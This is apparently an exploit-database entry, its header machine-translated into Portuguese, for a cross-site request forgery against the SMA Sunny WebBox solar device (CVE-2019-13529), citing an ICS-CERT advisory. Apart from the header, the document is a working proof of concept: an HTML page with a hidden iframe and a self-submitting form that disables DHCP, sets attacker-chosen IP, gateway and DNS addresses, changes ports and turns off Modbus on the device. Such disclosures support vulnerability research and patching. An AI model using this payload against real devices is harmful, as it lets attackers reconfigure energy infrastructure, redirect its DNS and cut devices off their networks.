SMA Solar Technology AG Sunny WebBox device – 1.6 – Cross-Site Request Forgery
# Exploit Title: Dispositivo Sunny WebBox da SMA Solar Technology AG – 1.6 – Forjamento de solicitação entre sites
# Data: 2019-10-08
# Exploit Autor: Borja Merino e Eduardo Villaverde
# Página inicial do fornecedor: https://www.sma.de
# Versão: Firmware versão 1.6 e anterior
# Testado em: Sunny WebBox SMA Solar Device (versão de firmware 1.6)
# CVE: CVE-2019-13529
# ICS-Cert Advisory: https://www.us-cert.gov/ics/advisories/icsa-19-281-01
<! – Alterar qualquer valor oculto ->
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://X.X.X.X/wb_network_changed.htm' target="csrf-frame" id="csrf-form">
<input type='hidden' name='RadioButtonDhcp' value='off'>
<input type='hidden' name='IpAddr' value='1.1.1.1'>
<input type='hidden' name='SubnetMask' value='255.255.255.0'>
<input type='hidden' name='Gateway' value='1.1.1.1'>
<input type='hidden' name='DnsIpAddr' value='5.5.5.1'>
<input type='hidden' name='Dns2IpAddr' value='5.5.5.2'>
<input type='hidden' name='StaticNatPortHttp' value='80'>
<input type='hidden' name='WebserverPort' value='80'>
<input type='hidden' name='WebservicePort' value='80'>
<input type='hidden' name='RadioButtonModbus' value='off'>
<input type='hidden' name='ModbusPort' value='502'>
<input type='hidden' name='BConfirm' value='Confirmar'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>